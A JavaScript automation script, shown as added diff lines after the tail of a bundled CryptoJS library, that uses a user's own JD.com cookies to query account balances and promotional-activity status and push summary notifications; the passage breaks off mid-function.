2080, 31: 134217728, 2147483664: 131072, 2147483665: 2048, 2147483666: 134348832, 2147483667: 133152, 2147483668: 32, 2147483669: 134348800, 2147483670: 134217728, 2147483671: 134219808, 2147483672: 134350880, 2147483673: 134217760, 2147483674: 134219776, 2147483675: 0, 2147483676: 133120, 2147483677: 2080, 2147483678: 131104, 2147483679: 134350848 }], u = [4160749569, 528482304, 33030144, 2064384, 129024, 8064, 504, 2147483679], o = i.DES = r.extend({ _doReset: function () { for (var t = this._key.words, e = [], r = 0; r < 56; r++) { var i = h[r] - 1; e[r] = t[i >>> 5] >>> 31 - i % 32 & 1 } for (var n = this._subKeys = [], o = 0; o < 16; o++) { var s = n[o] = [], c = f[o]; for (r = 0; r < 24; r++)s[r / 6 | 0] |= e[(l[r] - 1 + c) % 28] << 31 - r % 6, s[4 + (r / 6 | 0)] |= e[28 + (l[r + 24] - 1 + c) % 28] << 31 - r % 6; s[0] = s[0] << 1 | s[0] >>> 31; for (r = 1; r < 7; r++)s[r] = s[r] >>> 4 * (r - 1) + 3; s[7] = s[7] << 5 | s[7] >>> 27 } var a = this._invSubKeys = []; for (r = 0; r < 16; r++)a[r] = n[15 - r] }, encryptBlock: function (t, e) { this._doCryptBlock(t, e, this._subKeys) }, decryptBlock: function (t, e) { this._doCryptBlock(t, e, this._invSubKeys) }, _doCryptBlock: function (t, e, r) { this._lBlock = t[e], this._rBlock = t[e + 1], p.call(this, 4, 252645135), p.call(this, 16, 65535), _.call(this, 2, 858993459), _.call(this, 8, 16711935), p.call(this, 1, 1431655765); for (var i = 0; i < 16; i++) { for (var n = r[i], o = this._lBlock, s = this._rBlock, c = 0, a = 0; a < 8; a++)c |= d[a][((s ^ n[a]) & u[a]) >>> 0]; this._lBlock = s, this._rBlock = o ^ c } var h = this._lBlock; this._lBlock = this._rBlock, this._rBlock = h, p.call(this, 1, 1431655765), _.call(this, 8, 16711935), _.call(this, 2, 858993459), p.call(this, 16, 65535), p.call(this, 4, 252645135), t[e] = this._lBlock, t[e + 1] = this._rBlock }, keySize: 2, ivSize: 2, blockSize: 2 }); function p(t, e) { var r = (this._lBlock >>> t ^ this._rBlock) & e; this._rBlock ^= r, this._lBlock ^= r << t } function _(t, e) { var r = (this._rBlock >>> t ^ this._lBlock) & e; this._lBlock ^= r, this._rBlock ^= r << t } t.DES = r._createHelper(o); var s = i.TripleDES = r.extend({ _doReset: function () { var t = this._key.words; if (2 !== t.length && 4 !== t.length && t.length < 6) throw new Error("Invalid key length - 3DES requires the key length to be 64, 128, 192 or >192."); var e = t.slice(0, 2), r = t.length < 4 ? t.slice(0, 2) : t.slice(2, 4), i = t.length < 6 ? t.slice(0, 2) : t.slice(4, 6); this._des1 = o.createEncryptor(n.create(e)), this._des2 = o.createEncryptor(n.create(r)), this._des3 = o.createEncryptor(n.create(i)) }, encryptBlock: function (t, e) { this._des1.encryptBlock(t, e), this._des2.decryptBlock(t, e), this._des3.encryptBlock(t, e) }, decryptBlock: function (t, e) { this._des3.decryptBlock(t, e), this._des2.encryptBlock(t, e), this._des1.decryptBlock(t, e) }, keySize: 6, ivSize: 2, blockSize: 2 }); t.TripleDES = r._createHelper(s) }(), function () { var t = bt, e = t.lib.StreamCipher, r = t.algo, i = r.RC4 = e.extend({ _doReset: function () { for (var t = this._key, e = t.words, r = t.sigBytes, i = this._S = [], n = 0; n < 256; n++)i[n] = n; n = 0; for (var o = 0; n < 256; n++) { var s = n % r, c = e[s >>> 2] >>> 24 - s % 4 * 8 & 255; o = (o + i[n] + c) % 256; var a = i[n]; i[n] = i[o], i[o] = a } this._i = this._j = 0 }, _doProcessBlock: function (t, e) { t[e] ^= n.call(this) }, keySize: 8, ivSize: 0 }); function n() { for (var t = this._S, e = this._i, r = this._j, i = 0, n = 0; n < 4; n++) { r = (r + t[e = (e + 1) % 256]) % 256; var o = t[e]; t[e] = t[r], t[r] = o, i |= t[(t[e] + t[r]) % 256] << 24 - 8 * n } return this._i = e, this._j = r, i } t.RC4 = e._createHelper(i); var o = r.RC4Drop = i.extend({ cfg: i.cfg.extend({ drop: 192 }), _doReset: function () { i._doReset.call(this); for (var t = this.cfg.drop; 0 < t; t--)n.call(this) } }); t.RC4Drop = e._createHelper(o) }(), bt.mode.CTRGladman = (ot = bt.lib.BlockCipherMode.extend(), st = ot.Encryptor = ot.extend({ processBlock: function (t, e) { var r, i = this._cipher, n = i.blockSize, o = this._iv, s = this._counter; o && (s = this._counter = o.slice(0), this._iv = void 0), 0 === ((r = s)[0] = Et(r[0])) && (r[1] = Et(r[1])); var c = s.slice(0); i.encryptBlock(c, 0); for (var a = 0; a < n; a++)t[e + a] ^= c[a] } }), ot.Decryptor = st, ot), at = (ct = bt).lib.StreamCipher, ht = ct.algo, lt = [], ft = [], dt = [], ut = ht.Rabbit = at.extend({ _doReset: function () { for (var t = this._key.words, e = this.cfg.iv, r = 0; r < 4; r++)t[r] = 16711935 & (t[r] << 8 | t[r] >>> 24) | 4278255360 & (t[r] << 24 | t[r] >>> 8); var i = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], n = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; for (r = this._b = 0; r < 4; r++)Rt.call(this); for (r = 0; r < 8; r++)n[r] ^= i[r + 4 & 7]; if (e) { var o = e.words, s = o[0], c = o[1], a = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8), h = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), l = a >>> 16 | 4294901760 & h, f = h << 16 | 65535 & a; n[0] ^= a, n[1] ^= l, n[2] ^= h, n[3] ^= f, n[4] ^= a, n[5] ^= l, n[6] ^= h, n[7] ^= f; for (r = 0; r < 4; r++)Rt.call(this) } }, _doProcessBlock: function (t, e) { var r = this._X; Rt.call(this), lt[0] = r[0] ^ r[5] >>> 16 ^ r[3] << 16, lt[1] = r[2] ^ r[7] >>> 16 ^ r[5] << 16, lt[2] = r[4] ^ r[1] >>> 16 ^ r[7] << 16, lt[3] = r[6] ^ r[3] >>> 16 ^ r[1] << 16; for (var i = 0; i < 4; i++)lt[i] = 16711935 & (lt[i] << 8 | lt[i] >>> 24) | 4278255360 & (lt[i] << 24 | lt[i] >>> 8), t[e + i] ^= lt[i] }, blockSize: 4, ivSize: 2 }), ct.Rabbit = at._createHelper(ut), bt.mode.CTR = (pt = bt.lib.BlockCipherMode.extend(), _t = pt.Encryptor = pt.extend({ processBlock: function (t, e) { var r = this._cipher, i = r.blockSize, n = this._iv, o = this._counter; n && (o = this._counter = n.slice(0), this._iv = void 0); var s = o.slice(0); r.encryptBlock(s, 0), o[i - 1] = o[i - 1] + 1 | 0; for (var c = 0; c < i; c++)t[e + c] ^= s[c] } }), pt.Decryptor = _t, pt), yt = (vt = bt).lib.StreamCipher, gt = vt.algo, Bt = [], wt = [], kt = [], St = gt.RabbitLegacy = yt.extend({ _doReset: function () { for (var t = this._key.words, e = this.cfg.iv, r = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], i = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]], n = this._b = 0; n < 4; n++)Mt.call(this); for (n = 0; n < 8; n++)i[n] ^= r[n + 4 & 7]; if (e) { var o = e.words, s = o[0], c = o[1], a = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8), h = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), l = a >>> 16 | 4294901760 & h, f = h << 16 | 65535 & a; i[0] ^= a, i[1] ^= l, i[2] ^= h, i[3] ^= f, i[4] ^= a, i[5] ^= l, i[6] ^= h, i[7] ^= f; for (n = 0; n < 4; n++)Mt.call(this) } }, _doProcessBlock: function (t, e) { var r = this._X; Mt.call(this), Bt[0] = r[0] ^ r[5] >>> 16 ^ r[3] << 16, Bt[1] = r[2] ^ r[7] >>> 16 ^ r[5] << 16, Bt[2] = r[4] ^ r[1] >>> 16 ^ r[7] << 16, Bt[3] = r[6] ^ r[3] >>> 16 ^ r[1] << 16; for (var i = 0; i < 4; i++)Bt[i] = 16711935 & (Bt[i] << 8 | Bt[i] >>> 24) | 4278255360 & (Bt[i] << 24 | Bt[i] >>> 8), t[e + i] ^= Bt[i] }, blockSize: 4, ivSize: 2 }), vt.RabbitLegacy = yt._createHelper(St), bt.pad.ZeroPadding = { pad: function (t, e) { var r = 4 * e; t.clamp(), t.sigBytes += r - (t.sigBytes % r || r) }, unpad: function (t) { var e = t.words, r = t.sigBytes - 1; for (r = t.sigBytes - 1; 0 <= r; r--)if (e[r >>> 2] >>> 24 - r % 4 * 8 & 255) { t.sigBytes = r + 1; break } } }, bt }); + +const $ = new Env('京东资产变动'); +const notify = $.isNode() ? require('./sendNotify') : ''; +const JXUserAgent = $.isNode() ? (process.env.JX_USER_AGENT ? process.env.JX_USER_AGENT : ``) : ``; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let NowHour = new Date().getHours(); +let allMessage = ''; +let allMessage2 = ''; +let allReceiveMessage = ''; +let allWarnMessage = ''; +let ReturnMessage = ''; +let ReturnMessageMonth = ''; +let allMessageMonth = ''; + +let MessageUserGp2 = ''; +let ReceiveMessageGp2 = ''; +let WarnMessageGp2 = ''; +let allMessageGp2 = ''; +let allMessage2Gp2 = ''; +let allMessageMonthGp2 = ''; +let IndexGp2 = 0; + +let MessageUserGp3 = ''; +let ReceiveMessageGp3 = ''; +let WarnMessageGp3 = ''; +let allMessageGp3 = ''; +let allMessage2Gp3 = ''; +let allMessageMonthGp3 = ''; +let IndexGp3 = 0; + +let MessageUserGp4 = ''; +let ReceiveMessageGp4 = ''; +let WarnMessageGp4 = ''; +let allMessageGp4 = ''; +let allMessageMonthGp4 = ''; +let allMessage2Gp4 = ''; +let IndexGp4 = 0; + +let notifySkipList = ""; +let IndexAll = 0; +let EnableMonth = "false"; +let isSignError = false; +let ReturnMessageTitle=""; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = ''; +const JD_API_HOST = 'https://api.m.jd.com/client.action'; +let intPerSent = 0; +let i = 0; +let llShowMonth = false; +let Today = new Date(); +let strAllNotify=""; +let strSubNotify=""; +let llPetError=false; +let strGuoqi=""; +let RemainMessage = '\n'; +RemainMessage += "⭕活动攻略:⭕" + '\n'; +RemainMessage += '【极速金币】京东极速版->我的->金币(极速版使用)\n'; +RemainMessage += '【京东赚赚】微信->京东赚赚小程序->底部赚好礼->提现无门槛红包(京东使用)\n'; +RemainMessage += '【京东秒杀】京东->中间频道往右划找到京东秒杀->中间点立即签到->兑换无门槛红包(京东使用)\n'; +RemainMessage += '【东东萌宠】京东->我的->东东萌宠,完成是京东红包,可以用于京东app的任意商品\n'; +RemainMessage += '【领现金】京东->我的->东东萌宠->领现金(微信提现+京东红包)\n'; +RemainMessage += '【东东农场】京东->我的->东东农场,完成是京东红包,可以用于京东app的任意商品\n'; +RemainMessage += '【京喜工厂】京喜->我的->京喜工厂,完成是商品红包,用于购买指定商品(不兑换会过期)\n'; +RemainMessage += '【京东金融】京东金融app->我的->养猪猪,完成是白条支付券,支付方式选白条支付时立减.\n'; +RemainMessage += '【其他】京喜红包只能在京喜使用,其他同理'; + +let WP_APP_TOKEN_ONE = ""; + +let TempBaipiao = ""; +let llgeterror=false; + +let doExJxBeans ="false"; +let time = new Date().getHours(); +if ($.isNode()) { + if (process.env.WP_APP_TOKEN_ONE) { + WP_APP_TOKEN_ONE = process.env.WP_APP_TOKEN_ONE; + } + /* if(process.env.BEANCHANGE_ExJxBeans=="true"){ + if (time >= 17){ + console.log(`检测到设定了临期京豆转换喜豆...`); + doExJxBeans = process.env.BEANCHANGE_ExJxBeans; + } else{ + console.log(`检测到设定了临期京豆转换喜豆,但时间未到17点后,暂不执行转换...`); + } + } */ +} +if(WP_APP_TOKEN_ONE) + console.log(`检测到已配置Wxpusher的Token,启用一对一推送...`); +else + console.log(`检测到未配置Wxpusher的Token,禁用一对一推送...`); + +if ($.isNode() && process.env.BEANCHANGE_PERSENT) { + intPerSent = parseInt(process.env.BEANCHANGE_PERSENT); + console.log(`检测到设定了分段通知:` + intPerSent); +} + +if ($.isNode() && process.env.BEANCHANGE_USERGP2) { + MessageUserGp2 = process.env.BEANCHANGE_USERGP2 ? process.env.BEANCHANGE_USERGP2.split('&') : []; + intPerSent = 0; //分组推送,禁用账户拆分 + console.log(`检测到设定了分组推送2,将禁用分段通知`); +} + +if ($.isNode() && process.env.BEANCHANGE_USERGP3) { + MessageUserGp3 = process.env.BEANCHANGE_USERGP3 ? process.env.BEANCHANGE_USERGP3.split('&') : []; + intPerSent = 0; //分组推送,禁用账户拆分 + console.log(`检测到设定了分组推送3,将禁用分段通知`); +} + +if ($.isNode() && process.env.BEANCHANGE_USERGP4) { + MessageUserGp4 = process.env.BEANCHANGE_USERGP4 ? process.env.BEANCHANGE_USERGP4.split('&') : []; + intPerSent = 0; //分组推送,禁用账户拆分 + console.log(`检测到设定了分组推送4,将禁用分段通知`); +} + +//取消月结查询 +//if ($.isNode() && process.env.BEANCHANGE_ENABLEMONTH) { + //EnableMonth = process.env.BEANCHANGE_ENABLEMONTH; +//} + +if ($.isNode() && process.env.BEANCHANGE_SUBNOTIFY) { + strSubNotify=process.env.BEANCHANGE_SUBNOTIFY; + strSubNotify+="\n"; + console.log(`检测到预览置顶内容,将在一对一推送的预览显示...\n`); +} + +if ($.isNode() && process.env.BEANCHANGE_ALLNOTIFY) { + strAllNotify=process.env.BEANCHANGE_ALLNOTIFY; + console.log(`检测到设定了公告,将在推送信息中置顶显示...`); + strAllNotify = `【✨✨✨✨公告✨✨✨✨】\n`+strAllNotify; + console.log(strAllNotify+"\n"); + strAllNotify +=`\n🎏🎏🎏🎏🎏🎏🎏🎏🎏🎏🎏🎏🎏` +} + + +if (EnableMonth == "true" && Today.getDate() == 1 && Today.getHours() > 17) + llShowMonth = true; + +let userIndex2 = -1; +let userIndex3 = -1; +let userIndex4 = -1; + + +let decExBean=0; + +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') + console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +//查询开关 +let strDisableList = ""; +let DisableIndex=-1; +if ($.isNode()) { + strDisableList = process.env.BEANCHANGE_DISABLELIST ? process.env.BEANCHANGE_DISABLELIST.split('&') : []; +} + +//喜豆查询 +let EnableJxBeans=true; +DisableIndex=strDisableList.findIndex((item) => item === "喜豆查询"); +if(DisableIndex!=-1){ + console.log("检测到设定关闭喜豆查询"); + EnableJxBeans=false +} + +//汪汪乐园 +let EnableJoyPark=false; +/* DisableIndex = strDisableList.findIndex((item) => item === "汪汪乐园"); +if(DisableIndex!=-1){ + console.log("检测到设定关闭汪汪乐园查询"); + EnableJoyPark=false +} */ + +//京东赚赚 +let EnableJdZZ=true; +DisableIndex = strDisableList.findIndex((item) => item === "京东赚赚"); +if(DisableIndex!=-1){ + console.log("检测到设定关闭京东赚赚查询"); + EnableJdZZ=false; +} + +//京东秒杀 +let EnableJdMs=true; +DisableIndex = strDisableList.findIndex((item) => item === "京东秒杀"); +if(DisableIndex!=-1){ + console.log("检测到设定关闭京东秒杀查询"); + EnableJdMs=false; +} + +//东东农场 +let EnableJdFruit=true; +DisableIndex = strDisableList.findIndex((item) => item === "东东农场"); +if(DisableIndex!=-1){ + console.log("检测到设定关闭东东农场查询"); + EnableJdFruit=false; +} + +//极速金币 +let EnableJdSpeed=true; +DisableIndex = strDisableList.findIndex((item) => item === "极速金币"); +if(DisableIndex!=-1){ + console.log("检测到设定关闭极速金币查询"); + EnableJdSpeed=false; +} + +//京喜牧场 +let EnableJxMC=true; +DisableIndex= strDisableList.findIndex((item) => item === "京喜牧场"); +if(DisableIndex!=-1){ + console.log("检测到设定关闭京喜牧场查询"); + EnableJxMC=false; +} +//京喜工厂 +let EnableJxGC=true; +DisableIndex=strDisableList.findIndex((item) => item === "京喜工厂"); +if(DisableIndex!=-1){ + console.log("检测到设定关闭京喜工厂查询"); + EnableJxGC=false; +} + +// 京东工厂 +let EnableJDGC=true; +DisableIndex=strDisableList.findIndex((item) => item === "京东工厂"); +if(DisableIndex!=-1){ + console.log("检测到设定关闭京东工厂查询"); + EnableJDGC=false; +} +//领现金 +let EnableCash=true; +DisableIndex=strDisableList.findIndex((item) => item === "领现金"); +if(DisableIndex!=-1){ + console.log("检测到设定关闭领现金查询"); + EnableCash=false; +} + +//金融养猪 +let EnablePigPet=true; +DisableIndex=strDisableList.findIndex((item) => item === "金融养猪"); +if(DisableIndex!=-1){ + console.log("检测到设定关闭金融养猪查询"); + EnablePigPet=false; +} +//东东萌宠 +let EnableJDPet=true; +DisableIndex=strDisableList.findIndex((item) => item === "东东萌宠"); +if(DisableIndex!=-1){ + console.log("检测到设定关闭东东萌宠查询"); + EnableJDPet=false +} + +//7天过期京豆 +let EnableOverBean=true; +DisableIndex=strDisableList.findIndex((item) => item === "过期京豆"); +if(DisableIndex!=-1){ + console.log("检测到设定关闭过期京豆查询"); + EnableOverBean=false +} + +//查优惠券 +let EnableChaQuan=true; +DisableIndex=strDisableList.findIndex((item) => item === "查优惠券"); +if(DisableIndex!=-1){ + console.log("检测到设定关闭优惠券查询"); + EnableChaQuan=false +} + +DisableIndex=strDisableList.findIndex((item) => item === "活动攻略"); +if(DisableIndex!=-1){ + console.log("检测到设定关闭活动攻略显示"); + RemainMessage=""; +} + +//汪汪赛跑 +let EnableJoyRun=true; +DisableIndex=strDisableList.findIndex((item) => item === "汪汪赛跑"); +if(DisableIndex!=-1){ + console.log("检测到设定关闭汪汪赛跑查询"); + EnableJoyRun=false +} + +!(async() => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + return; + } + for (i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.pt_pin = (cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.CryptoJS = $.isNode() ? require('crypto-js') : CryptoJS; + $.index = i + 1; + $.beanCount = 0; + $.incomeBean = 0; + $.expenseBean = 0; + $.todayIncomeBean = 0; + $.todayOutcomeBean = 0; + $.errorMsg = ''; + $.isLogin = true; + $.nickName = ''; + $.levelName = ''; + $.message = ''; + $.balance = 0; + $.expiredBalance = 0; + $.JdzzNum = 0; + $.JdMsScore = 0; + $.JdFarmProdName = ''; + $.JdtreeEnergy = 0; + $.JdtreeTotalEnergy = 0; + $.treeState = 0; + $.JdwaterTotalT = 0; + $.JdwaterD = 0; + $.JDwaterEveryDayT = 0; + $.JDtotalcash = 0; + $.JDEggcnt = 0; + $.Jxmctoken = ''; + $.DdFactoryReceive = ''; + $.jxFactoryInfo = ''; + $.jxFactoryReceive = ''; + $.jdCash = 0; + $.isPlusVip = 0; + $.JingXiang = ""; + $.allincomeBean = 0; //月收入 + $.allexpenseBean = 0; //月支出 + $.joylevel = 0; + $.beanChangeXi=0; + $.inJxBean=0; + $.OutJxBean=0; + $.todayinJxBean=0; + $.todayOutJxBean=0; + $.xibeanCount = 0; + $.PigPet = ''; + $.YunFeiTitle=""; + $.YunFeiQuan = 0; + $.YunFeiQuanEndTime = ""; + $.YunFeiTitle2=""; + $.YunFeiQuan2 = 0; + $.YunFeiQuanEndTime2 = ""; + $.JoyRunningAmount = ""; + + TempBaipiao = ""; + strGuoqi=""; + console.log(`******开始查询【京东账号${$.index}】${$.nickName || $.UserName}*********`); + + await Promise.all([ + TotalBean(), + TotalBean2()]) + + if (!$.isLogin) { + await isLoginByX1a0He(); + } + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + + await Promise.all([ + getJoyBaseInfo(), //汪汪乐园 + getJdZZ(), //京东赚赚 + getMs(), //京东秒杀 + getjdfruitinfo(), //东东农场 + cash(), //极速金币 + jdJxMCinfo(), //京喜牧场 + bean(), //京豆查询 + getJxFactory(), //京喜工厂 + getDdFactoryInfo(), // 京东工厂 + jdCash(), //领现金 + GetJxBeaninfo(), //喜豆查询 + GetPigPetInfo(), //金融养猪 + GetJoyRuninginfo() //汪汪赛跑 + ]) + + await showMsg(); + if (intPerSent > 0) { + if ((i + 1) % intPerSent == 0) { + console.log("分段通知条件达成,处理发送通知...."); + if ($.isNode() && allMessage) { + var TempMessage=allMessage; + if(strAllNotify) + allMessage=strAllNotify+`\n`+allMessage; + + await notify.sendNotify(`${$.name}`, `${allMessage}`, { + url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` + }, '\n\n本通知 By ccwav Mod',TempMessage) + } + if ($.isNode() && allMessageMonth) { + await notify.sendNotify(`京东月资产变动`, `${allMessageMonth}`, { + url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` + }) + } + allMessage = ""; + allMessageMonth = ""; + } + + } + } + } + //组1通知 + if (ReceiveMessageGp4) { + allMessage2Gp4 = `【⏰商品白嫖活动领取提醒⏰】\n` + ReceiveMessageGp4; + } + if (WarnMessageGp4) { + if (allMessage2Gp4) { + allMessage2Gp4 = `\n` + allMessage2Gp4; + } + allMessage2Gp4 = `【⏰商品白嫖活动任务提醒⏰】\n` + WarnMessageGp4 + allMessage2Gp4; + } + + //组2通知 + if (ReceiveMessageGp2) { + allMessage2Gp2 = `【⏰商品白嫖活动领取提醒⏰】\n` + ReceiveMessageGp2; + } + if (WarnMessageGp2) { + if (allMessage2Gp2) { + allMessage2Gp2 = `\n` + allMessage2Gp2; + } + allMessage2Gp2 = `【⏰商品白嫖活动任务提醒⏰】\n` + WarnMessageGp2 + allMessage2Gp2; + } + + //组3通知 + if (ReceiveMessageGp3) { + allMessage2Gp3 = `【⏰商品白嫖活动领取提醒⏰】\n` + ReceiveMessageGp3; + } + if (WarnMessageGp3) { + if (allMessage2Gp3) { + allMessage2Gp3 = `\n` + allMessage2Gp3; + } + allMessage2Gp3 = `【⏰商品白嫖活动任务提醒⏰】\n` + WarnMessageGp3 + allMessage2Gp3; + } + + //其他通知 + if (allReceiveMessage) { + allMessage2 = `【⏰商品白嫖活动领取提醒⏰】\n` + allReceiveMessage; + } + if (allWarnMessage) { + if (allMessage2) { + allMessage2 = `\n` + allMessage2; + } + allMessage2 = `【⏰商品白嫖活动任务提醒⏰】\n` + allWarnMessage + allMessage2; + } + + if (intPerSent > 0) { + //console.log("分段通知还剩下" + cookiesArr.length % intPerSent + "个账号需要发送..."); + if (allMessage || allMessageMonth) { + console.log("分段通知收尾,处理发送通知...."); + if ($.isNode() && allMessage) { + var TempMessage=allMessage; + if(strAllNotify) + allMessage=strAllNotify+`\n`+allMessage; + + await notify.sendNotify(`${$.name}`, `${allMessage}`, { + url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` + }, '\n\n本通知 By ccwav Mod',TempMessage) + } + if ($.isNode() && allMessageMonth) { + await notify.sendNotify(`京东月资产变动`, `${allMessageMonth}`, { + url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` + }) + } + } + } else { + + if ($.isNode() && allMessageGp2) { + var TempMessage=allMessageGp2; + if(strAllNotify) + allMessageGp2=strAllNotify+`\n`+allMessageGp2; + await notify.sendNotify(`${$.name}#2`, `${allMessageGp2}`, { + url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` + }, '\n\n本通知 By ccwav Mod',TempMessage) + await $.wait(10 * 1000); + } + if ($.isNode() && allMessageGp3) { + var TempMessage=allMessageGp3; + if(strAllNotify) + allMessageGp3=strAllNotify+`\n`+allMessageGp3; + await notify.sendNotify(`${$.name}#3`, `${allMessageGp3}`, { + url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` + }, '\n\n本通知 By ccwav Mod',TempMessage) + await $.wait(10 * 1000); + } + if ($.isNode() && allMessageGp4) { + var TempMessage=allMessageGp4; + if(strAllNotify) + allMessageGp4=strAllNotify+`\n`+allMessageGp4; + await notify.sendNotify(`${$.name}#4`, `${allMessageGp4}`, { + url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` + }, '\n\n本通知 By ccwav Mod',TempMessage) + await $.wait(10 * 1000); + } + if ($.isNode() && allMessage) { + var TempMessage=allMessage; + if(strAllNotify) + allMessage=strAllNotify+`\n`+allMessage; + + await notify.sendNotify(`${$.name}`, `${allMessage}`, { + url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` + }, '\n\n本通知 By ccwav Mod',TempMessage) + await $.wait(10 * 1000); + } + + if ($.isNode() && allMessageMonthGp2) { + await notify.sendNotify(`京东月资产变动#2`, `${allMessageMonthGp2}`, { + url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` + }) + await $.wait(10 * 1000); + } + if ($.isNode() && allMessageMonthGp3) { + await notify.sendNotify(`京东月资产变动#3`, `${allMessageMonthGp3}`, { + url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` + }) + await $.wait(10 * 1000); + } + if ($.isNode() && allMessageMonthGp4) { + await notify.sendNotify(`京东月资产变动#4`, `${allMessageMonthGp4}`, { + url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` + }) + await $.wait(10 * 1000); + } + if ($.isNode() && allMessageMonth) { + await notify.sendNotify(`京东月资产变动`, `${allMessageMonth}`, { + url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` + }) + await $.wait(10 * 1000); + } + } + + if ($.isNode() && allMessage2Gp2) { + allMessage2Gp2 += RemainMessage; + await notify.sendNotify("京东白嫖榜#2", `${allMessage2Gp2}`, { + url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` + }) + await $.wait(10 * 1000); + } + if ($.isNode() && allMessage2Gp3) { + allMessage2Gp3 += RemainMessage; + await notify.sendNotify("京东白嫖榜#3", `${allMessage2Gp3}`, { + url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` + }) + await $.wait(10 * 1000); + } + if ($.isNode() && allMessage2Gp4) { + allMessage2Gp4 += RemainMessage; + await notify.sendNotify("京东白嫖榜#4", `${allMessage2Gp4}`, { + url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` + }) + await $.wait(10 * 1000); + } + if ($.isNode() && allMessage2) { + allMessage2 += RemainMessage; + await notify.sendNotify("京东白嫖榜", `${allMessage2}`, { + url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` + }) + await $.wait(10 * 1000); + } + +})() +.catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') +}) +.finally(() => { + $.done(); +}) +async function showMsg() { + //if ($.errorMsg) + //return + ReturnMessageTitle=""; + ReturnMessage = ""; + var strsummary=""; + if (MessageUserGp2) { + userIndex2 = MessageUserGp2.findIndex((item) => item === $.pt_pin); + } + if (MessageUserGp3) { + userIndex3 = MessageUserGp3.findIndex((item) => item === $.pt_pin); + } + if (MessageUserGp4) { + userIndex4 = MessageUserGp4.findIndex((item) => item === $.pt_pin); + } + + if (userIndex2 != -1) { + IndexGp2 += 1; + ReturnMessageTitle = `【账号${IndexGp2}🆔】${$.nickName || $.UserName}\n`; + } + if (userIndex3 != -1) { + IndexGp3 += 1; + ReturnMessageTitle = `【账号${IndexGp3}🆔】${$.nickName || $.UserName}\n`; + } + if (userIndex4 != -1) { + IndexGp4 += 1; + ReturnMessageTitle = `【账号${IndexGp4}🆔】${$.nickName || $.UserName}\n`; + } + if (userIndex2 == -1 && userIndex3 == -1 && userIndex4 == -1) { + IndexAll += 1; + ReturnMessageTitle = `【账号${IndexAll}🆔】${$.nickName || $.UserName}\n`; + } + + if ($.levelName || $.JingXiang){ + ReturnMessage += `【账号信息】`; + if ($.levelName) { + if ($.levelName.length > 2) + $.levelName = $.levelName.substring(0, 2); + + if ($.levelName == "注册") + $.levelName = `😊普通`; + + if ($.levelName == "钻石") + $.levelName = `💎钻石`; + + if ($.levelName == "金牌") + $.levelName = `🥇金牌`; + + if ($.levelName == "银牌") + $.levelName = `🥈银牌`; + + if ($.levelName == "铜牌") + $.levelName = `🥉铜牌`; + + if ($.isPlusVip == 1) + 